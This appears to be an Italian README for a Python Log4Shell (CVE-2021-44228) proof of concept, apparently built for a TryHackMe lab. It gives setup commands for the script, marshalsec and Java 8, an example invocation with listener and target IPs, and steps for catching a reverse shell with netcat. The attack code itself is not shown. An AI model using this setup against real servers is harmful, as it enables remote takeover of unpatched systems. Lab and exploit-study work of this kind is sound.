
Proof-of-concept in Python per CVE-2021-44228 (Log4Shell) che automatizza lo sfruttamento tramite un payload Java appositamente costruito, con opzioni argparse per richieste GET personalizzabili e consegna di reverse shell.
Questo script Python è stato creato mentre lavoravo sulla stanza TryHackMe per Log4j. Sebbene sia stato creato con variabili predefinite per questa stanza, ho usato argparse per rendere lo script versatile per una richiesta GET. Tutte le variabili necessarie possono essere cambiate con diverse opzioni, vedere -h per maggiori informazioni.
Solo il mio script è ospitato qui, sono necessari altri due download per funzionare correttamente, di cui fornirò i link, ma impostare le cartelle come ho fatto io permetterà allo script di funzionare senza molto sforzo. Prima crea una cartella log4j (o qualsiasi nome tu voglia) poi fai git clone di questo repo e sposta poc.py in /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
Poi clona marshalsec, nella stessa directory che hai appena creato. E poi compilarlo usando maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Infine, dovrai scaricare una versione di Java 8. Per questo script, il valore predefinito per -j è 'jdk1.8.0_20'.
La nuova directory dovrebbe apparire così quando tutto è estratto.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
Dopo che questa configurazione è completa. Nota che se desideri o hai bisogno di usare una versione diversa di Java, ciò può essere fatto usando -j NAME_OF_JAVA_FOLDER.
Menu di Aiuto

Incluso nello script c'è il payload fornito nella stanza THM, cambia l'IP/porta con quello che desideri usare.

Avvia un listener netcat per catturare la shell sulla porta specificata nel java_payload.
Avvia un server web Python sulla porta 8000
Esempio di comando:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Esempio di output e reverse shell:
